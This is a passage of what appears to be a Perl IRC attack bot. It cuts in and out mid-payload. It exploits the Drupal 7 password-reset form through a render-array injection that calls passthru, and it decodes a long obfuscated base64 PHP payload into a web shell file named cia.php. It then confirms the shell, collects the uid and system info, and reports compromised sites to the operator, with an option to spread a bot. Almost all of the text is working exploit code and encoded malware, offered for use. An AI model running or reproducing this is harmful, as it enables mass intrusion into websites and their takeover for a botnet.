EY5OEozSDl2ZmJOQjlMQlJwSWJmV0hJTUVYZzQrWkh1WHNkaEpYQjBNdThqYldpdE1nTEdZT2tlQm5ZcnkxQjFoRGFQcDVuWDY4SFZ0aVZMVDBOS3FpN1BSbWJmdFNMMWJic0Y2WlFJM0xUSC8vYno0UGxPSUNtd1ZDblV2VjdDc3YzUjlEYXlleHVJU1NLL0dSTTdpSDVFMzBOZkpreW9raUE4Y3N2a2pjbkdLVml5WkZvaW9uaStrZ2JYa1JaaDVNUnBPclBjYkhIL1RFcGF0WU5CVUFoT2FRWG93Q2hML2Q2TlB6THZzUnFyTXV2NU1VVkh0WThUdE9sdnZ1RkJENFRwdlQ0aU1idFMzbkRVUWsvb2M2OUFaUi92Vi9mblVwSzE5dllHV3FUT1p4NGRab3FJRlVISDdVd0ZLVXVEZm04dnpLNjFmTGhQQ0hWbDJneElYN09IeUNaTEFDcVAvMXlyYW9LK3FYZlEzenFLTGdEN0hYYmJnbjl5WTlveFRuVm9aOGl4a2M1cjV4d2VHdkVrZXRtWmFjNENZUGc3RmExUGdnVGdGVno0REJJSStSdEpod2NwSkFlSkR5dEJNSGg4cHVBL0g0RWRrQkUxS1FXcXNYQ1VwRk9qNDZHdmp5RFNMZ0FlOTdDL251ZHVNbGxXNDd1NGc4cEVBSXZtYTRlQ2tlazRhS3lFSzhMVXBZYzhCcjBpWitWek9UTURjQ1NLcVVBMkxpOFNpaUc2dGlxYjZtRzBubHVkK0o0M2xuMk9HMGo4YlBiRG9OcWVwdk9tb3ZPQjg1MEFFR2xua2gxN2IrV0prVllONTdDTEhUVWF0UElMOW9FMk84cS9MUXgxb25FanAyeHpxSjl1TGRNM3oydGtzZ2VkRFpCbUZMOThEWTQwbWNsSElQazZ3RkN5eHpKMCsrRzBFVzhyemhzVkFHeDZTRzJxN3ZqMHcxTjlBYXJISnc0TEhVb3IvMWVVL20zQXpNbzNXSEV0ZnF3ZW9rQ0dDUGtIYkFwek1GN29HbjIwcDVGRDRHNlk5WFBhWHFlNENtOHNTUmcyN01LWGorSGtWZWZ5SXVmd2JZcWo5WTQxMnY5SlJiNGtkVE42c0VRYzdGWDV2U2dGeVNJQUJ6djNrZldvZ0hqVzZGRE04cjNRbFFNTkZTNlFMNllhLzJUSGhGTHlMbGJxQkkxMnlWNHpiWHY3VmkrQWRldzhqejczWDFmZEF2VVlaN0VldHp2R0NKT3pTVFhTa2VzR1owMXBVQ1lxTW9sVkhVRHBCc1dqTDhNdk5MZEl6bGE4T0FIY3lnbU55ODh0SHpjM2MycjNjblBTZ3JXSDZXVCtIM25RRjQvaVhFclpkT2dXVWNUWGsvR1k1aGNyV2F3SWJDMk5oYSsybTA2NlZSalpmdUVrazJMN3VobTBqdjlia1JOYU1jZFRGTUNpdDV1RGJXRDBYd2JNcEI1emJRbGFwZkVIemg4UGoyQk11eDk4YzdxczkzWDlWcWMvcTMzVjM5SG44S21oRys5a2tGS3lHVEk3NEQyQzgyN0FNVHgyelpLWElpeG9YcTREaWs0MFBraHNUVk84L0xOUDhNTmpudjBZNnQ1TWI0QTZwQ2M1dEdVdDVzSSt5NWVuZGFzblYycWY4RXNNM3hZVmh2bjNkOUhwcmhtM3NPeEJqcVRvMlNvN3hBbDUydWFFMTBocnR3bjJJVFUya2M2cWlpbWwzZHUrcXdBUjh4VC84MTN3c0Z0dExBblprcGtVUVJHclQ1ZWNHWm42UHNSditHRWlPWTdyREI1Slo2bWpUWkkxcWRKQmRybFRPY3BqclhzKzFqeGk0U3lVaW56ZHlHbGRiUWw2cXdicmRLMDIrN3hlWEhyWER6akRBeFVOYkZLNngxQWFsK01oVk4vQ29ibmJsNElpaGZ5eHljQ0R3OFI4emlUTFNwTmNiR2FqbTN1NHU1MmpURDUxS0lRYzdhOTN4bW1mN1hUVDhoMlJ6YktWL1BQRWg3UVlwbzNSbUZkWFNaOXBIOXV5UXFsUEVYN3lQOXZKMUlmc1oyYlhGcVZldFZUcXNMakszM3J3UFBWclVadlRvNmkwT1B2QXhnSHlRQmlIK0plc0FRTU5QZnNHaDVtNVJEYXNxSWdLdktSajVPZ3BxbE1LQzhOSXJUMUNiWkJRRVN1SUlQUVBYeXJLMFBxWUNLRHVKcEpGVVBWWkZaT2cxS0hwR1NHS042RFAwZjdnYmNObFhJVzhPQUJmR01UaVRwNjNxTHRQYVYwVXpkb1dOd0NwK3E5MHJOV2hsRmNCUlRhVjltL3o4TGFuQTlyM1Jic3NPaWtqYWF1MDFSYWNqOExCRCtJbmFCYllXNElKdTVZbTRVeG01QjREbU1oYXFuM3Z0WFJVcDFhajcxOVFkbFMreklyTmtzeFRPRjg5eDA2OStJL0t1WjlURUhuZmgyZWtBVjlmMDlDSHFPK215UEVjOHNFanpqRmFBRHkxcWNaZE1ZZkNQMitTQ2RvNWt1T3d4blI0RldXdFkxN1RKMmJJM3RjWGdXb09pS0hxZ0hWSXJ6NktEZGtFK2tiNnF3RlVBM1BEU0hSRUFEOG9GRFMweEkzeFY5Ri90L0t6bmxVUlNzSnc2OUZLa3lxdHJBS2toMTJjenlaTE1XV2VRa2s1SFhVQWhLU3c3NWlRbUtxdW5xcFczclp2aVFnNGpzbmhEaC9ZL053cU1OQ0Q3VTZ4Z053MHZ0WXhiSUxhVkU4eFpCRVVuT2xvOFZvbldZZC9jZ0VLSzBwMDd3b21tNFMrMHRCeUhGbGdVMFVhcWloaVFhbXlqYU9UMGwraTZqM2YxMDJVWjN2MkxDM0tTbEVyUU94NjE5amFMRFJ4ZVZLLzhUY3JWNlVISDROVnMwNmhPVHAzTEVrZHUvN3ZwU1dtM3ZwcEdzQnVFRXNmUzV4c2JEYVdWUThWclF1clJnZXRpT0EzSzRqR256S0JOSjdYRHczQ2ttWFRVRXkwVjRlS0FTbHQ0dTF0L3N4Y2s2alJMZTdqOWdlRVVIWXpUY1pDMHZrL0NhZnpSVnY2bnc4alZzK0lpMCtzN0haWTFTU2dnZktXa2E5RnRpeWRtcHlaL0dxdnRiSGFaV2M2SWlxc2wycXZuU0gzYUs4UlBVWjlEZ043aGRhdlhnekZsSitVNDNiMFl6VktYTE40TGJsb0EwaHJaVlczTFVGQ0xiYUlIanR1WUNRR3NibFdwRGdWRTFrZUIxUzhwUWhSRnM0Tkp0ckIyaVNRZmo5d2ZTK1RXcGRYUXNkWFlLeFlNU3FaVmFueTlOSlJnTHQwR1lQZ1phdFRjakFTSHBiYVQrc1dnSnZ4Q08zRDFxWWJhaEdpdHhjWGFBZ21ETmc4M1c1TG9mblJZYWNnenlrbzVtZEtxNERjejlIMU1URWF6NllOTzhHSlRzYWd1V0RabEdxOEVWVjQrV1Nnc2Fua080QU9FdmpXUUE1Tjl5T3hRTzVkUTVSYTAzT0VyNjlFTGFYRXNNV05lbVN5U2Z3Q0pFUWZiUDRYSndmcXJrTFgybzRITG9hYjFpSUJSWXJzN3BFK2ptbCtaUlA1NEdhbGczWmhzcmgxalNxVlVYT2F6eHpCeTR0V3d3MkY2UEV3eUtsZStXZXZNSEp5SFRabXRiSG9aVVVrbGZRMUo4dXZDZHExOWlTRDV5K2kzL0tRdmNKN1hsbWZuNHlJYkRWc25Yb3BCeUtXZ0JPZDlibVpoeVNRZWdZdlVwQ3ZXanFrdjVaM0JnVXdIaDBIbXcwUWplNnZ3bGI1OE1TUXUvNldXYU5NMWxnMTlaRGczcWExODBabUU2VVc4VWZrb29udUxkVGFiWUJiYmVsSmVjcGJNd0h3bmwwSGxEQ0tJSjljSit3RzRkbXlwNDJRb3cxVHJHOVIvTmFZRnlqMkUvVVZBek4zM0Zja2tFVXJ4ZFdXSEZ2WGJrSWdzaFJseWUycG5ZTHN3aWlJazA2cjF5SGpxODJ5bDRnRUo0UnlndjlPZzd2MlM0MnhlUERRdDZ1OCttSVJBWmVjVUJDRExxM3JZV0dzTnlTdTBtZERhalhTSTg0b1JkQW5yT1ZZSzh0bkRrSFRPM0RKTmRJUjhiUGlSWE1KNHR6ZWNIWUdORnZoVWU0R09XNmMyMVlRNFRaV1BVQTFSanZqaUNHNjBQaFNLTXJnR1VkMlpORSs3cjA2T09aV0lvaHIrNzN5VGpZSzRHalBaZXFqRnp5bXBGWlI5WHZBaUxtSCtkT1N3SDF0cC9tbWlwUFlnL1BIRHJLMTBMM2NuelRBRWJxdHdtdkRNaG81TGZ6akxTR25YTkpjWUZFdkl1d0s0VUE3ZEw1SmxpcWM4eWFnL256dGJQMFJPZkZIbDFVUktJWlBCV0NyUm5PNktiNm1MMHBYSEdFUVg5VllCeG1yNU82RVc2R0VxWTRTK1dtN2Q4cnhjTUVFZXZYNVlGekt4YzFHZ1JmWUtSYWliemZhMzBiYXMxZzJpbzFLV3I3NXQ1YUdlK0xXSXk0UkYvYTdVeGJCL1Z6YTNvYTdxT1JxVTZMSC9nRmpxR0hRTmpuNkt0ZEN4aG1lbVdZbGhLd3N0SUVQZVk0R1FkTEhTa1ZucU1QY09LZm1tQlZuLzc5OU5QbkMySzV2UFcvRjBGMG5UT3YyWjh0WGJkZi92LzZBcis4dm9EcUh1ZjllSk0yZnlTaGY1M1ZneUh1NGFBbzRLNGVCME05dmltQS9XaUJMZzd1Y3Z4VTFyc2ZNbXZzZHMvLyttaVBQZjFhU3VXWDU5ZVAxTmZubHc5MDVhZGYvL1AwL0xYZUVFcnZIcmpQbDJ0dU8wUEdRdis0OGhjZjNlOTRnK1JHQW9yNFpyeUFmdWcvZlhuNDU1K2YvanRKQmFqeXI5ZnZlTmdWK3M1QzZpYXV2bEYvYkE2ZzUvZGJ5ZHp0L2Z2MC9zUXZRbC8zL2hHUGlyci9FdDlzUDFPaDM3UFEzMjdvdHpUMFZEajBDKys5Tjk4QjBUOGxiOThUc2QrSjJMZFI3RlJSN0VLSmU1bmZBQT09JykpKSk7ID8+++base64+--decode%7C+tee+cia.php"; my $ajax4 = "_triggering_element_name"; my $response4 = $ua->post($addblockurl4, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax4 => 'name']); my $body4 = $response4->content; my $regex4=''; if($body4 =~ s/$regex4//){ my $newout4=$1; $formcraft2up4="http://".$site."/?q=file/ajax/name/%23value/$newout4"; my $responses4 = $ua->post($formcraft2up4, Content-Type => 'application/json', Content => ['form_build_id' => $newout4]); $shell4="http://".$site."/cia.php"; $pbot = "http://".$site."/pbot.php"; my $checkaddblock4 = $ua->get("$shell4")->content; if($checkaddblock4 =~/
/) { my $check4 = &Query($shell4);&Query($pbot); if ($check4 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); if($check4 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check4 =~ m/id=(.*?)grup=/){ $user = $1; if($check4 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 5 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell4." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell4." ]"); &message($chanx,"![12 Exploited 5 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurlx5 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=echo+PD9waHANCg0KDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQogZXZhbChnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ05KeFVqNnpRbG5QbkpkVi9xRTVZOVZjTThFR2xrZ29UbU1CN00yekNVT0M5K2ZWYVBtaW5sSk9iTndJNGRPOWlyd1daOGIvRnNvekxQNWR2R3BldEdhcC9RUC8xMy8veDcvLzJ2M2l4L1daNCt1S2ZYZE0zMjkrLy92dS8vWjlmMGFmajloLy84eC8vdVd2SDFCSmY5V1lBMU9lUlFBYlFwK1ZHRzhrb29vOUx3anhLS1ExYk5PTVBaZG0xL0xXZmE2bjR4UWJCRmJDQTR6MFdrU1BlRGlyaUEzVWRBRHpDeDdvUWduY2d6THMyNXJ2d3h3MUJURXdpYlZrYTJQQ0ZJK2FRYVRRZ09aVm9nYnhIWTVUbzhHUlR3UXdGd2Q5bTBXQ0NkR3R3bWJER1FCVTlOclpmWnpuL1pxRVZNaXduYktBOVJyL1VNRlZPbldwckJHT2s1WkxPMEg4SEI0enI5RmQ5OEdVc2M5Yy91RExPWmFJTXVjdWNFeU5QbklRVWtCR3BoN1hVM3Q3MEt6UHdFWGlYVmNUbGtraHFiY0R0cG1FeFEwUkZQUFZTQnhZOHVvWVoxc2d3T2VuaHJucVJUZjhaT0Z0QXMvRUlSSkp2Z3ZXYndCc3NNTkZXZjB5ZXNJZlBKNnJLMW5USUlHNG5yczFYbEljRW00UXBFcWlCRUtLMWZZeTBrUDJKdDg2akhYUkM1amVNQmJnQWlINmJ1eENKS3AxbGZBYXB4QitGU0duM25nZm5lQjNuMDVmUEJ2VjJjL0x5czBGR3EzODgwVHQ1ZW10Z3ZLL2hTRU84dVRLQnJFNU50WGdxZFhPTTFUbTBLRVdKWERLNnBqZ0NHR0pDQ0tHb0FmMHl4eENJL20ya0kyVzhKeXRQMDlFaGxZRU1ML2hMbXovOVVhUGZTV1B6SFhqL1QwY3ZNUTFqZjZURjlOY3EwdG9QSXhYb0hSRHRsN3lmRDlrR2l4UGZrd0lpKy9qaDJLVXg3a1NSdlNqOGZrcXR4SW9kRGN1UTVvRUJTMDJjcElYdlVJSHcyVHJRRGt3emJYLzR3M0ltUmZxSnRzYXNGcTBxY21Mdlh3Yk1UbVNRVkhKTTVCNU5Nd3V2cUl5WXhxd3dwaGhac3RYOEhKZVVpbHNIZkZuY0QzM3UzaWtyL2hhTlBTQXIrcWtLQzB4V3ozRHd5Z2t2OGlEcXVLU1ZNcnVZNkdZaG8vTDFKY080WnlNcDdTeDBQSnlnekVKcEtwRDRFK21TNkkvVlRqcncyZ1BOYkxlL1hiMGd3Mko1ZTBBVklPbHdNckIrUVJrbW5lU1BNYmlzejFvR2EvQ21hUUVMalBDU3RuZy95aVpFajhqaEJtTHJoY1V3MlZEOCtWQ2dCWXJ5SUVQbmt6TlFnTGx1dmo3aEVZN21kTkxHVnN1ZE0wd2RuenNvdVdUVERtRzNVR3FkWVNOL1BxdEdlMXh6S0RmQkQ5ZnMvUWdtbkppOXk0SHB4eGd5eWVISysxZUNaZUJGN1R2bExya0prNnJwTzRLRThOVlJpb0dlSDhPdEkvOU1DQi9IcVlNd0F2alExVEl1SlpKUlRvbkZTT0M5TW1nazZMU1NEK094OXNOWjJEaGdnenpicjdQY1BycXRWVzJ6OTh3Y0twelU3TDVvQUp1UE1wTHVXS1RqZk1yQmJsRFppcmxDc0srV2RYeUU1QnpIdFVQSWJmZHUrbVhtY0RDMEI0UlgxenVWYWU5R3A5dWtUSWcrRU5DNmx6dWFlZzJtTWhTTXJMWXVjak94T096L0FubWlLWUVmQTlncXozMTNqQWFzUDdnWERuN0ZReG1mTmF3dGwwcHZxdkVwWlJ5R2FPTkJDTlMzRjAvd1ljZzlCQVZvUXBjMW5CL2FkQmtYOXNZckdFUnFJTVZERVRCWmJyK2JyUUR3TW05Y3kzT2dNdjMyMlVKaVFmY1ZyaTQ4cDhPZENrVW4xZEtCTG9mQzJ2Tk5SVm5oWk5oR29la0U2MUZzSll1L3RHZHNjZzhyNS9LYlQvMUdXaTRkYkVLWE43MW1BOEphUW9sWXNMaTgxTm03d3BtbWtSd1pSK2wwYmcyeXNERUIyTlI5SEpQaGZoTzRqcEZWb0VQcW9vUHNROWJkcVVIVW9wbmNoY29aaUw0NVJjRW8xaEZmZWhJLzNIUTloVXlLZ2FKdFlCeVdvK3ZPdE9EblZ0OXB0ZHo3elF3Mko1SmlyVHhjdWdiaUZSemtlb1A3THV5R1NxSXhhUGZlM0ZTVHl3UDVySTFLVUMwS0tpNTJLa2FqS1RvZlB6WTJXNjFQWEdUdUtRWG1nSFUrQUZmTjQyZjRTd3hYbG96WklhOEJPa3ZiUEtCTjk1SG1zYUs5eVFPZVl3RDd6Y25qdUY3YXBsT25EcGlydjZjcmhBOGhBb2JUUEYvQ2ZOUmdKejZzUnNMTzRlTFhFWkh5Z3dVRkdQQzhTdWNzSEF1ZldyQzB5RFh5WjREczg3ZGJZRXhlanJqcUJRYnBsclRoSzhZWTIreFAyaVJvUi9oUmpCYk9QeVRUUk81NEdpZ09jdld4TVJFTkU0L2xpbVdVNzU3WnEzNTJuTFFWeUE4Q2NUOFpZN0NjUStIV0Q3N3M0VlpTLzJQWlNsNVZhNTNVQWZySmk1M0doREFrTTZodXE3QW5DaTloVEdSL3pkQzBwUm5qUVF2NGhhSjd5U0RUY1plZVdmaVN2dnVDV2xLbkp3djhFUHUrNnIxK1BlZ1BqdFQ1ekFGR1MvZlB4SlJobUlxRjFmVkZpbm04a0RzRXo4dDBFeitHMXF6dkloNGMwRUU1dVZuOXI3U1dIUG1BU0JtTGR6dldYL2pOQnZXTHY5TnRTWVFuMElyMGpaS3M4emw1VW9jaHg3YUlncFc1ZjlhYnJHVWRCVVVENThndjRTWjJ2VUZjNUxWRGtIZkdmdVR5TjVLT0ZyZ0pYRDd0ejgvc3JpNytaSWtVMWV4WElqTHJKWVlwZE5ma29zbXMrZWYzK1JDU0VaZythanlFdk8rYkFXQmZVY3dUU3FkV0MrdFVQSlFYTnM1S0tYeEpPTWh6Vlh3Tyt3MDVoQmdMTzd1bnBQNDZDZEQ5TWtuanRURElFd0s2VFUzcC9OUXdrKzc4Mm94RDVVRjFVa3h3Vk5KbkZxZ212VnA5WXBqUkNYYlJIK2syTllCQmxCaVZkT2dQVjJMMkI2bkt0YVZySDhkaGdNTzVjN0xWY3JuZk5HZVVKMWpyM1AzSnhHN2o2UkdyQzc1TTllU1RMZHd6eC9ycFJhb2NkRVZYVk5LeSsvVDN6V1YvZFNkVUJ3UVB1Rnc1UDRtSVFEQmxtQ0JWY245WUdkdEJNcU1OV25lMTJ5Q3cvUnZjOC91OTlYaFdpeWhvSkxqNnZCRndXSmRid0pFd3JlSnZRR1Rma1U0NnB1aU8xdU0waVkzN1oreUF6enJIa2s1MU53RGtuTHpoZXQ4d1JXM0JyVFgrbHhiWVRjSHp6U2RHcjFaQ01xWUpFdlNEMEZBaDd5NkRkUTJSaUw5WlI3aCswSXlwa3VEaUNob1JqWUpXVU9lYjJZNHlNcmhoRWRHbVFIay9pUEFLTGs5U2ZKSHFSdFJETjQvMlpMSnZnQ3p6VlFtU0FvNi84ZGh4ZmxpajRrM3hEUFlBRHFKUTZiQkoxTjNpUVRnU3lkYnZyazhPdXlNcTg3QWk1ZnBqc1hJcDE5c0VmRTI0RStJU3ZKcGt3WVc0Z1o2cmljTjd2UGJyVUY1Um1rMFBCUFFvM0xXblhHSjRlTXFxV20zbE1zU0dFWVg5cUhDK1lhclRrMUk0RnRyYWdXKytMWkdtdThHUVlVVlJUTi9wMStKU2dmcVpHOWtpRURQbUh0Q2E4cUZRbXRxdGR1ZlJJMUFMNFNsK1VIcHA2R3ZURVhzTDFrWHVKMW1ZTGRUSnYwTWpjTktLNkV5Ui9HMUVzKzFCaHZwbWFuSkM4MmhOY1FFQVltb1pkOUszNHJBb2FLa2VzY211R1F0TXNBdDN2eWFpSTg5YTE2dkpuTnFyaHhmUXQyUVkwbUVqRXlHSDgyOGFHOExBcHFkNmFPc3ZxVDJvSjFOSEdOV1JkbkE1NjVIODkza05JL0x2bFhsamg5UFo1ZlNvSzlleEsrN25sVEk4cTllQms2TDdlSCtxTUpZTEpJQk9BbzFIVXR0KzZnd0tIOThxZ3lkWldhcG43ZTB3NjdNZ25sQ1dua1RaT2txSkhpUEs5a3ppaFprcTlvOXN3UkxzTGxJZlFuVXdjUjZWQVFJamNoUzA0YW00SWhwMnFsWXFYb2J3K3lXNzdpU3NjMk1EWElwczVFUVRiYWxHeTBhL0JReklSZmNtb01lS0JaSnVxbWErNUNSY1Y2ODBwTlBBQTRrMmtrUFFuYUVZNkQ0OUNpMmlleHdXZGJINS9zbk5DMkUvYnR3YlBRRUtYUWNxL1BjbkVOYWxXZ3NmVXpGeTZsNkxwbzErczVuRER6eTBCUGVSaFdsYzlxN3BqUjhxZjdZNk5GTXMxSkxEZjIzZTNhWml1NlZ5ekFpRHNnZUFsaEdPdTlMMGxxeWtaNXdlMW1GY2lwR2NveitROFE3RjZLWi9HWjVVdC9lMXEzRVFJVldidzMyYnpDNXpDUTNaZXZnVU56TG4yQ1QwcWlaZkJQRFJkWUtqZWp0S0xQRlQ0MURGUVA3clpwYXZ5S2FUR2I4aTU0TzhKdDJ4OFBZTzd5SWRmUnR1WXkrN2ZGdit1M2pVK2ZtUmFOZDQ1OUJMN0E4bktteWcwU0NTcExndWc1QXNROWJBVDUzSXQ5bURBWFR5ZXVMZDJzRHFqTUZWMWJGcDZoNTlZUVE5QUZtalEvbDZJMXc0TWRkUWYrVW92aElqNmhhNkJ6K3A4WTNlQkJMNTgwZTNsZVJPSlZwOUVVWlJ1eEs5Ui9WclhIclFyektvenZJSkdlUU5TcWpxeDFWdzhjdkc2bTJtT0tZLzE1d25uNDgyclBsa241YUF4cGxrR2NtWHBlRG9HSUdFOWg0TVNiTEVqK1JsSkxzWmdXV2diTzJ3MEtHMzJ6UGxiK28xUW10SlJPVzJWWE1HQ3Jmb0kzQUJ2N25RMEI2RWhybXoyN2N6VjVUVElBWXFsenFiSk1JczFWN1U1NGRKa2RSL09kQmVSM2dGZ0E1RmRCdzJBUHV4QUVzMlN6THk0NEtHN0JwZVFoTk5sMUd4NDArYjM4bC9ZV2h2Sld2L2pra29vVWczK1N3TDJRT2IvZDA2RHh4QjhkQXlrRGI1MHV4aXYzckhOQVdHd2Ywd1o2cm5naDNmNk5USUdpdDNqLzdiK21USWhKODhtQ3p6U1pLcUs3SmR4WVIvQVJmVUk4NnlacDQ4WEMyV09PelYydThBMC8xN3dKNnErT21CVmFLNUJsUkMzZHRodG5yckRTU2pZUXpqMUpQUkxQYVI5WWcvZzFCRkVjc1I0bFVxcjd4cUpSelB1S0tmeitYSTR2VnhWdmxHSjk0UVUwVzFVRHQ1TlJPUE9KOHN6QjA3L1ppU2Q3Nk42V01QUStjbmE2cWhXNGNRNmRaS0dSRTNZaW1UenhPclNaZEtDZGVOdkt2U2NRcG5IMDQvYWJnRjRqQXhhY1dvVHFuM09xandLbVM2SU5jamV4c0VETDRJeHZkNWdVODdDTkhHZk1ralZTbDRkcDYrRWpMTWtacVpHWHlkRUlETnZFdHExQ3NWMWpKVzJ0YS9jUnVlM0JkQWY1cUtBTmlzSFBUNHRJeXRnd1JMaER1V05QSlVNd3NvbVZmMURYdXJhWUxhUnQvWDFvZG5UUW9mTmljUUN0akgvTTIwTG1aRklXUDdXdG5Kb3ZISWt6T2dla2wzME9NTGE0ZHlHL29YYXowOEI2b3NkZjhrTzNBNDdtL0lPblpoTjVyMHp5Ykt6ekd1L0h0b2xXNVpFVHpsSUdiK3ovLzg1My8vKzc4VlZOTDlvMjJhb2V5U3Jmakh1aTMvWE1ZTlUvK1JKbmhPWVAvTWkzbk1pMy84dnpzaS8vVisvZDBmeWNhaC9MczdNbXQrWHVqbitaRkJZemVCZDNORnRUV2JuZkIvWDhTM3BvNG52TExsaWE1cGVGRjN5b1pRNHM3dkUra1lEdmZ0NUhDb0F6bnF5MVI3MW5TL1F5WVhLNitvWjNEMjB0WHZ2aFRkUk1MV04yZ3ZkVmxwdkc0VStGTEdmUkhadUxVci9JU3pqMzdiUXArdUN0SlRmblFaNFI2djBhSFRIRS9LWDlvbW95TXFoem45RVR5OHF1N1kwSzVPbTd0S2hLTDJ4V1BjZzlVU3FnbmFnakxqV3B6ZWdhY0k2ZmxQZmNjNDc4c2FaQUNXVVJvK3JTV1BEa1A4VW4zaDU4NzVRa1dvZ2Rod2NNMFkzc0VNekY1QS9lNHdqTHN4V3VOblhIYlNuaTVZdjNhZ01YQ2VVaDhkZ2pEQVo4NHNWKzBvOEhSVk5SUHFic3pZOXgvRFB1ZStuR3hoRERKUkFLQmNXQXRkaWFOLzJCamVYWmpDMzJMQnBKbXh1dmszQVRFb1hPMWczV0R4aStPWVczS3pFUjRMZEV6b0tIYUYzMUxVc1pzSUowTzBCVU0wT0xrQ1hmcVJLWVJuaVJ2NXgvVUZhL3NhSHFoWEx4U1VRV0lqKzFsTmptd3VnQ0RjK0V5VXQxbklKL1pCTUZNamltWElhc08vQVNrVTRBbFZkNTNtdVkyYVZYMUxZRzNnWUVNQjZ4cnVXQk9EakIzNjlSSWlNcUNVWTFQc2lDbEd5QWliTUc3cFN0VWpCWnMvb0ovdUI4eWJyQ0Y4L1VOZUtYeEhNZmVLaHdCQytULy8vODIzNWw4MzM4Z1VYZ1A2a0x2ZmoxZmVqU1g3NlMrdTRMVDZMb3hHc0t3NjA1bWg2V3I4eGI5SzUybWoxUzBjNHZ5a3FhYlJCNkdod21vY3V1Sm9aMEtOL01GL1ZqQ3Z1REJPYno2NUViN3V4cHRRN3JMTDZsUFdOQVZ4T1FobGRyb05kb2tzM3h1WlpQUjBwaTZnUUwrZExQYjU3ZkYrbmhlMXZ5ZG5oOEFYTzFJQlh2TFAwSzBIa3ZwN0VTcjZKOGEyazVpeWdzUmp2c2w0bGk3Yk01TmdGUVFvR3p3MEZzOVNjblhJRFBnUzJXOHNMbWQ5QklLakxLRDZWOFg5aWhtNE5JM2NaOTF2V3lnc05EemFieGIrMkhUSHd4cytYcCtqMXQ4QWt4WFhGQWFwVHZJOVpBNHpDOXhUN2ovMm1Xc3p2anJ3YWllM0NQSG5MMzFMbE9JcDdUNnAvWTh4ZmMvQVY0MWxKTWxUa2ZvN3Vsb2d1dnhBQS81QXFWK2t5R1ZkSUEvamNvRUpNbVN3WFNmd2crckQ4UHU2bUFzaUxqU0htVVNFc2xNWEdmUFU0dFRpMVhOdUFuSWVCNDFWWDRyTVRTRGNSaFVQVkZ5bWE2S2QwSys2SzFINjQxOGtjMmxhUkp3TnJtUXdtWjhnLzNsT2pQSkorc25uTUVQRTVWT2R6YjU3dTVYUWhoTTFYODZ2TXM3SXdUK1NNQzFKYWZZZHo2bGtxOXUxQmFqeXNpWkVOWStMVDhVL3AvaFdVKzdMWm5tQnoxeUpycTZ2cG85WmFqOHBibE5SalVFVStsZE9uN1Mzejd0NWFYNDkvSWlFY0xFekR4SmVUSDhFNkNhcWtNeVo0SGhPMTgxQ2twUithOXU1ZVYvQ3ZQNzBPa3lBZmM0Y0d6aldXT1ZFcjhZeEJRN01QYXh4RzhxSDBJdHdjUGZVWVViTlBoNzE0aTNTczU5dW0yL204VkxLKzFGYll4SHNzc3pOT3RIeDl4VTVuL2EySjJsYnNHTVB5T3p0cTRZWmwwcTZaQ3JTaGdsMmV4Q01hWWZwa0ZCOHd4UEVDZWpFYkVNSW13b3k4Uk02K0tuU0xlck14SU1DbGUvS2RYTk1yVDJKbzA3TnZBQTc4Ry9UUHhNTlloU2tMcnBSSVd6SXl6bVB3NkJXK2RJMmNMSFN3VE5WQ0FWTDluYWlFQytEZENjZ2ZlYmtRSHg1UjAveWI2TlZnclRyQXhYM2F1Nk5acVBDT0tkekhKQ3g0TXBZN3k4dUlxa0ZqNWp6TFpoaVFtOWk5N054M0poc1FsazBBaklBTFdlTHZuYkExRHFveXZhd3k4blVKNmdoOW12enNuMVNoSkJiV1RNbjUvT2xzMkpZR2ZJbjQ5bDlVaDhsQWhtSnJnQ2xuVitEK1dpWVZtTUNic094MUl4bzJTS1ozdHkwM0tBRXRva01aS2RMb2pZbjEvRzg5MHVmOFE2OU9SQ21sb0JwaSt6T1h6TjBNUjMwVVN6dmJ3L3lTNFdIeElFSjRHU01LbXI2NEp5VUVEaC8xR3ZhQnlBalY1YzhCaEQ4R3NtNTBYSUpJcjZMNkI0QjBqdGREbnZCMnFOMW5raE5CT0Z4cG1jMW1pQmR1NVlDUVhsMmxmZk1MR05PTklsMUpHVm9sR0FaTzgwc2lYam1nckFaaFpXRm84Y2F5eDdJMGc3b1ZyUkJVcG1DbGp4ckNuQW9FaXcwUXlXWWw3WjZLdUFCS05LYkd6UUNkVHozOWxUMTVhVXFJa3ZTdG0yQm94bEE1OEN2aUlKUENSRktyOVN0MHlvYjZKQTBWYUljK0F2Tlg0WHRkNFdOS3NZWHhnK0htaTFCNDhicDllOGVKeDk4L29iQUR3czRDNmhxcGhqYU12U3N6L2FkRDRvT2NZY2IrSkdteGxjcUtvNTl3NWptN2VyTnJOb1dGdHUxMVZGdXZFWGFBMzhmYjhDV0ptei9zREVtL0ZmbFZlQjRQWGFxWjg1SjJlTlUxcWprZyttaStSYWtBS3c1bUVERHpBTmxlSi81R29RZlhiUXRwWEdNWTZQaXMvSWhqWDlJMmczUG02WGQ0NEJGMHB4VUF6YUIxM2RxZUFHUFFVQ0xSUmF3ZlNlYnluMUJnQ3Z0VThaV0ppQUh4Q3VUYUpsQ1BJNnFLbENLcjJqWTJ2SmEyT2JaNUJaOWRBSUJqUFNWV0UzZExoL2hFNktWWlBoNG40blRPUG5aWUFYSGkwajk5Nk5YMGdyUWE4WGZIdzd0ZHZoajFXVzA3VkhqN3RjMUNsVEtoYTlOUzhNenQxZTFydzFvSm1pd3M1blFFZ1J4REZBbnNrM2ZqQXJIczJyVDRBdkhSMzdtNFNVSDlkeXExWU1OMFU0RUl6TFM1NWQ3RHg4SlpUTGNGUGdJL1RnYndhRXNTSDR2U1FHbzlSS0tyY1VuVFVpbmo5WW1tQ1VqWm